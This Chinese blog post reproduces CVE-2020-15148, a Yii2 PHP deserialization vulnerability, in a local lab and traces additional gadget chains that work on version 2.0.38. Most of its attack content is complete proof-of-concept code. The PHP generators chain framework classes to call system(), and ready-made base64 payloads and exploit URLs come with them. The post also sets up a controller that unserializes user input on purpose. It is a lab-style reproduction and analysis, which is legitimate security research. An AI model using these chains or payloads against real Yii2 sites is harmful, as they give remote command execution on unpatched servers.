Yii2 反序列化漏洞复现

环境搭建

下载yii2.0.37版本,https://github.com/yiisoft/yii2/releases/tag/2.0.37
放在phpstudy的www目录下。

这是一个反序列化利用链,所以还需要一个反序列化的入口点,在controllers目录下创建一个TestController.php

<?php
namespace app\controllers;
use Yii;
use yii\web\Controller;
use yii\filters\VervFilter;
use yii\filters\AccessControl;
use app\models\LoginForm;
 
class TestController extends \yii\web\Controller
{
	public function actionSss($data){
		return unserialize(base64_decode($data));
	}
}
 
?>

然后修改/config/web.php文件中的cookieValidationKey的值,随便修改
在这里插入图片描述
然后运行命令开启服务

php yii serve

在这里插入图片描述
看到如下页面及安装成功

漏洞复现(CVE-2020-15148)

使用poc.php生成poc

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
 
        public function __construct(){
            $this->checkAccess = 'phpinfo';
            $this->id = '1';
        }
    }
}
 
namespace Faker{
    use yii\rest\CreateAction;
 
    class Generator{
        protected $formatters;
 
        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}
 
namespace yii\db{
    use Faker\Generator;
 
    class BatchQueryResult{
        private $_dataReader;
 
        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
# payload:TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19

在这里插入图片描述
使用payload

http://127.0.0.1/basic/web/index.php?r=test/sss&data=[payload]

在这里插入图片描述

漏洞分析

参考:https://blog.csdn.net/rfrder/article/details/113824239

起始点为vendor\yiisoft\yii2\db\BatchQueryResult.php中的destruct方法
在这里插入图片描述
我们跟进reset()函数
在这里插入图片描述
这里的_dataReader可控,然后又调用了他的close()方法,这里我们可以找找有没有可利用的__call函数,全局搜索call,在\vendor\fzaninotto\faker\src\Faker\Generator.php中找到了合适的,

因为close是无参方法,所以__call中的$method是close,attributes为空。
在这里插入图片描述
继续跟踪format函数
在这里插入图片描述在这里插入图片描述
这里的formatters也是可控的,也就是说执行什么函数确定了,但是由于调用__call时没有参数所以这里只能执行phpinfo()等,还需要找到合适的无参数函数才能RCE
在这里插入图片描述

我们继续全局搜索找无参数可以命令执行的函数

function\s(\w)+?\(\)+(.|\s)+?call_user_func

找到了这个玩意,里面参数都是可控的,可以直接利用
在这里插入图片描述
最后反序列化链如下

BatchQueryResult->__destruct()->reset()->close()
↓↓↓
Generator->__call()->format()->getFormatter()
↓↓↓
IndexAction->run()

payload

<?php

namespace yii\rest{
    class IndexAction
    {
        public $checkAccess;
        public $id;
        public function __construct()
        {
            $this->checkAccess = "system";
            $this->id = "dir";
        }
        // public function run()
        // {
        //     if ($this->checkAccess) {
        //         call_user_func($this->checkAccess, $this->id);
        //     }

        //     return $this->prepareDataProvider();
        // }
    }
}

namespace Faker
{
    use yii\rest\IndexAction;
    class Generator
    {
        protected $formatters;
        public function __construct()
        {
            //这里调用上一个类的方法的姿势需要学习一波
            $this->formatters['close'] = [new IndexAction(), "run"];
        }
        // public function __call($method, $attributes)
        // {
        //     return $this->format($method, $attributes);
        // }
        // public function format($formatter, $arguments = array())
        // {
        //     return call_user_func_array($this->getFormatter($formatter), $arguments);
        // }
        // public function getFormatter($formatter)
        // {
        //     if (isset($this->formatters[$formatter])) {
        //         return $this->formatters[$formatter];
        //     }
        //     foreach ($this->providers as $provider) {
        //         if (method_exists($provider, $formatter)) {
        //             $this->formatters[$formatter] = array($provider, $formatter);

        //             return $this->formatters[$formatter];
        //         }
        //     }
        //     throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
        // }
    }
}

namespace yii\db
{
    use Faker\Generator;
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader = new Generator;
        }
        // public function __destruct()
        // {
        //     // make sure cursor is closed
        //     $this->reset();
        // }
        // public function reset()
        // {
        //     if ($this->_dataReader !== null) {
        //         $this->_dataReader->close();
        //     }
        //     $this->_dataReader = null;
        //     $this->_batch = null;
        //     $this->_value = null;
        //     $this->_key = null;
        // }
    }
}

namespace
{
    use yii\db\BatchQueryResult;
    echo base64_encode(serialize(new BatchQueryResult()));
}

成功:
在这里插入图片描述

其他反序列化链1(2.0.38可用)

我们查看2.0.38的commit记录,https://github.com/yiisoft/yii2/commit/9abccb96d7c5ddb569f92d1a748f50ee9b3e2b99,修复方法为阻止yii\db\BatchQueryResult这个类反序列化
在这里插入图片描述
我们来看看是如何防止反序列化的,当这个类反序列化时会调用__wakeup()函数,同时使用throw调用BadMethodCallException来抛出一个异常

// 反序列化时调用__wakeup
public function __wakeup()
{
	// 通过throw调用BadMethodCallException抛出异常,以此结束反序列化
	throw new \BadMethodCallException('Cannot unserialize ' . __CLASS__);
}
  • BadMethodCallException是PHP标准库里的异常处理类,是PHP自带的
  • __CLASS__是php里的魔术常量,返回该类被定义时的名字,可以参考PHP 魔术常量在这里插入图片描述

这里反序列化链的起始点不能用了,但是后面的链都能用,所以我们再找个__destruct这样的起始点是最快的,使用__destruct\(\)\s+\{([a-zA-Z0-9\s\S]+?)\$this->查找,发现RunProcess类的__destruct可以利用:
在这里插入图片描述

这里的$process是可控的,我我们可以用它来调用__call方法,poc如下

注:习惯把调用的函数保留,这样利用链看的清楚一些。

<?php

namespace yii\rest{
    class IndexAction
    {
        public $checkAccess;
        public $id;
        public function __construct()
        {
            $this->checkAccess = "system";
            $this->id = "dir";
        }
        // public function run()
        // {
        //     if ($this->checkAccess) {
        //         call_user_func($this->checkAccess, $this->id);
        //     }

        //     return $this->prepareDataProvider();
        // }
    }
}

namespace Faker
{
    use yii\rest\IndexAction;
    class Generator
    {
        protected $formatters;
        public function __construct()
        {
            // 这里调用上一个类的方法的姿势需要学习一波
            // 记得将close换为isRunning,这里忘记换了,搞了半天
            $this->formatters['isRunning'] = [new IndexAction(), "run"];
        }
        // public function __call($method, $attributes)
        // {
        //     return $this->format($method, $attributes);
        // }
        // public function format($formatter, $arguments = array())
        // {
        //     return call_user_func_array($this->getFormatter($formatter), $arguments);
        // }
        // public function getFormatter($formatter)
        // {
        //     if (isset($this->formatters[$formatter])) {
        //         return $this->formatters[$formatter];
        //     }
        //     foreach ($this->providers as $provider) {
        //         if (method_exists($provider, $formatter)) {
        //             $this->formatters[$formatter] = array($provider, $formatter);

        //             return $this->formatters[$formatter];
        //         }
        //     }
        //     throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
        // }
    }
}

namespace Codeception\Extension
{
    use Faker\Generator;
    class RunProcess
    {
        private $processes = [];
        public function __construct()
        {
            $this->processes[] = new Generator();
        }
        // public function __destruct()
        // {
        //     $this->stopProcess();
        // }

        // public function stopProcess()
        // {
        //     foreach (array_reverse($this->processes) as $process) {
        //         /** @var $process Process  **/
        //         if (!$process->isRunning()) {
        //             continue;
        //         }
        //         $this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
        //         $process->stop();
        //     }
        //     $this->processes = [];
        // }
    }
}

namespace
{
    use Codeception\Extension\RunProcess;
    echo base64_encode(serialize(new RunProcess()));
}

payload

http://127.0.0.1/basic/web/index.php?r=test/sss&data=TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjE6e3M6NDM6IgBDb2RlY2VwdGlvblxFeHRlbnNpb25cUnVuUHJvY2VzcwBwcm9jZXNzZXMiO2E6MTp7aTowO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjk6ImlzUnVubmluZyI7YToyOntpOjA7TzoyMDoieWlpXHJlc3RcSW5kZXhBY3Rpb24iOjI6e3M6MTE6ImNoZWNrQWNjZXNzIjtzOjY6InN5c3RlbSI7czoyOiJpZCI7czozOiJkaXIiO31pOjE7czozOiJydW4iO319fX19

其他反序列化链2(2.0.38可用)

DiskKeyCache.php的Swift_KeyCache_DiskKeyCache类同样可以利用
在这里插入图片描述
继续跟踪clearAll()函数
在这里插入图片描述
虽然没有找到可以触发__call的地方,但是存在字符串的拼接,可以找有没有可利用的__toString(),使用__toString()[\s\S]+?\$this->[\s\S]+?->[\s\S]+?\(\)全局搜索,可以找到很多,先试试其他师傅说的see.php中的
在这里插入图片描述
最后反序列化链如下

Swift_KeyCache_DiskKeyCache->clearAll()
↓↓↓
See->__toString()
↓↓↓
Generator->__call()->format()->getFormatter()
↓↓↓
IndexAction->run()

poc

<?php

namespace yii\rest{
    class IndexAction
    {
        public $checkAccess;
        public $id;
        public function __construct()
        {
            $this->checkAccess = "system";
            $this->id = "whoami";
        }
        // public function run()
        // {
        //     if ($this->checkAccess) {
        //         call_user_func($this->checkAccess, $this->id);
        //     }

        //     return $this->prepareDataProvider();
        // }
    }
}

namespace Faker
{
    use yii\rest\IndexAction;
    class Generator
    {
        protected $formatters;
        public function __construct()
        {
            // 这里调用上一个类的方法的姿势需要学习一波
            // 记得将close换为isRunning,这里忘记换了,搞了半天
            $this->formatters['render'] = [new IndexAction(), "run"];
        }
        // public function __call($method, $attributes)
        // {
        //     return $this->format($method, $attributes);
        // }
        // public function format($formatter, $arguments = array())
        // {
        //     return call_user_func_array($this->getFormatter($formatter), $arguments);
        // }
        // public function getFormatter($formatter)
        // {
        //     if (isset($this->formatters[$formatter])) {
        //         return $this->formatters[$formatter];
        //     }
        //     foreach ($this->providers as $provider) {
        //         if (method_exists($provider, $formatter)) {
        //             $this->formatters[$formatter] = array($provider, $formatter);

        //             return $this->formatters[$formatter];
        //         }
        //     }
        //     throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
        // }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{
    use Faker\Generator;
    final class See
    {
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
        // public function __toString() : string
        // {
        //     return $this->refers . ($this->description ? ' ' . $this->description->render() : '');
        // }
    }
}

namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache
    {
        private $path;
        private $keys = [];
        public function __construct()
        {
            $this->path = new See();
            $this->keys = ["hello"]; 
        }
        // public function __destruct()
        // {
        //     foreach ($this->keys as $nsKey => $null) {
        //         $this->clearAll($nsKey);
        //     }
        // }
        // public function clearAll($nsKey)
        // {
        //     if (array_key_exists($nsKey, $this->keys)) {
        //         foreach ($this->keys[$nsKey] as $itemKey => $null) {
        //             $this->clearKey($nsKey, $itemKey);
        //         }
        //         if (is_dir($this->path.'/'.$nsKey)) {
        //             rmdir($this->path.'/'.$nsKey);
        //         }
        //         unset($this->keys[$nsKey]);
        //     }
        // }
    }
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
# TzoyNzoiU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlIjoyOntzOjMzOiIAU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlAHBhdGgiO086NDI6InBocERvY3VtZW50b3JcUmVmbGVjdGlvblxEb2NCbG9ja1xUYWdzXFNlZSI6MTp7czoxNDoiACoAZGVzY3JpcHRpb24iO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjY6InJlbmRlciI7YToyOntpOjA7TzoyMDoieWlpXHJlc3RcSW5kZXhBY3Rpb24iOjI6e3M6MTE6ImNoZWNrQWNjZXNzIjtzOjY6InN5c3RlbSI7czoyOiJpZCI7czo2OiJ3aG9hbWkiO31pOjE7czozOiJydW4iO319fX1zOjMzOiIAU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlAGtleXMiO2E6MTp7aTowO3M6NToiaGVsbG8iO319

payload

http://127.0.0.1/basic/web/index.php?r=test/sss&data=TzoyNzoiU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlIjoyOntzOjMzOiIAU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlAHBhdGgiO086NDI6InBocERvY3VtZW50b3JcUmVmbGVjdGlvblxEb2NCbG9ja1xUYWdzXFNlZSI6MTp7czoxNDoiACoAZGVzY3JpcHRpb24iO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjY6InJlbmRlciI7YToyOntpOjA7TzoyMDoieWlpXHJlc3RcSW5kZXhBY3Rpb24iOjI6e3M6MTE6ImNoZWNrQWNjZXNzIjtzOjY6InN5c3RlbSI7czoyOiJpZCI7czo2OiJ3aG9hbWkiO31pOjE7czozOiJydW4iO319fX1zOjMzOiIAU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlAGtleXMiO2E6MTp7aTowO3M6NToiaGVsbG8iO319

自己找个__toString()

这里自己找了下发现Nullable.php中的__toString()也可以
在这里插入图片描述poc:

<?php

namespace yii\rest{
    class IndexAction
    {
        public $checkAccess;
        public $id;
        public function __construct()
        {
            $this->checkAccess = "system";
            $this->id = "whoami";
        }
    }
}

namespace Faker
{
    use yii\rest\IndexAction;
    class Generator
    {
        protected $formatters;
        public function __construct()
        {
            // 这里调用上一个类的方法的姿势需要学习一波
            // 记得将close换为isRunning,这里忘记换了,搞了半天
            $this->formatters['__toString'] = [new IndexAction(), "run"];
        }
    }
}

namespace phpDocumentor\Reflection\Types{
    use Faker\Generator;
    final class Nullable
    {
        private $realType;
        public function __construct()
        {
            $this->realType = new Generator();
        }
    }
}

namespace{
    use phpDocumentor\Reflection\Types\Nullable;
    class Swift_KeyCache_DiskKeyCache
    {
        private $path;
        private $keys = [];
        public function __construct()
        {
            $this->path = new Nullable();
            $this->keys = ["hello"]; 
        }
    }
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
# TzoyNzoiU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlIjoyOntzOjMzOiIAU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlAHBhdGgiO086Mzk6InBocERvY3VtZW50b3JcUmVmbGVjdGlvblxUeXBlc1xOdWxsYWJsZSI6MTp7czo0OToiAHBocERvY3VtZW50b3JcUmVmbGVjdGlvblxUeXBlc1xOdWxsYWJsZQByZWFsVHlwZSI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6MTA6Il9fdG9TdHJpbmciO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo2OiJzeXN0ZW0iO3M6MjoiaWQiO3M6Njoid2hvYW1pIjt9aToxO3M6MzoicnVuIjt9fX19czozMzoiAFN3aWZ0X0tleUNhY2hlX0Rpc2tLZXlDYWNoZQBrZXlzIjthOjE6e2k6MDtzOjU6ImhlbGxvIjt9fQ==

然后下面这些也可以
在这里插入图片描述

其他反序列化链3(2.0.37可用)

这条链不适用于2.0.38,是2.0.37的另外一条链

BatchQueryResult->__destruct()->reset()->close()

第一条链到close()函数时是找__call()函数,这条链直接找可利用的close()
这个没复现成功,poc

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
    }
}
namespace yii\db{

    use yii\web\DbSession;

    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct(){
            $this->_dataReader=new DbSession();
        }
    }
}
namespace yii\web{

    use yii\rest\IndexAction;

    class DbSession
    {
        public $writeCallback;
        public function __construct(){
            $a=new IndexAction();
            $this->writeCallback=[$a,'run'];
        }
    }
}

namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}
# TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo2OiJzeXN0ZW0iO3M6MjoiaWQiO3M6Njoid2hvYW1pIjt9aToxO3M6MzoicnVuIjt9fX0=
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值